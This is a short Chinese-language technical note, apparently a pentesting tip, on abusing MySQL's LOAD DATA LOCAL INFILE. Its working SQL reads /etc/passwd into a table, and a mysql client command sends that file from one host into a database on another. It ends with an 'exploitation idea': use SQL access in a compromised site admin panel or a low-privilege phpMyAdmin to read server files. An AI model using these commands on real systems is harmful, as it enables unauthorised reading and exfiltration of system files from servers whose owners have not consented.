先创建一个表:
CREATE TABLE `test` ( `c` varchar(255) DEFAULT NULL) ENGINE=InnoDB DEFAULT CHARSET=utf8;
读取文件并写入表:
LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY '\n';
实际测试mysql新版本(Ubuntu 14.04.1 LTS,5.5.40-0ubuntu0.14.04.1)会提示语句错误:
ERROR 1148 (42000): The used command is not allowed with this MySQL version
一种说法是:如果编译安装mysql时没有指定–enable-local-infile
另一种说法是:5.1或者以上的都支持。具体还需要测试。
测试通过的版本有:
4.1.10a
5.5.40-MariaDB (centos7 default yum install)
待续。。。。
但是有种方法是在远程系统上读取文件然后插入数据库里,需要执行mysql命令:
mysql -h 192.168.1.100 -utestsql -p testsql --local-infile=1 -e "LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY '\n';"
192.168.1.100直接读取passwd写入数据库,提示ERROR 1148 (42000): The used command is not allowed with this MySQL version。
此命令在远程系统192.168.1.20上执行,则把192.168.1.20上的passwd写到192.168.1.100的数据库里。
由此又联想到一个远程传输文件的方法,利用mysql传输本地文件。
最后总结一下利用思路:一般情况下我们得到一个网站后台有执行sql的地方,或者进入某个低权限的phpmyadmin,则可以尝试此方法来读取服务器上的文件。(当然要祈祷它默认支持读取本地文件)。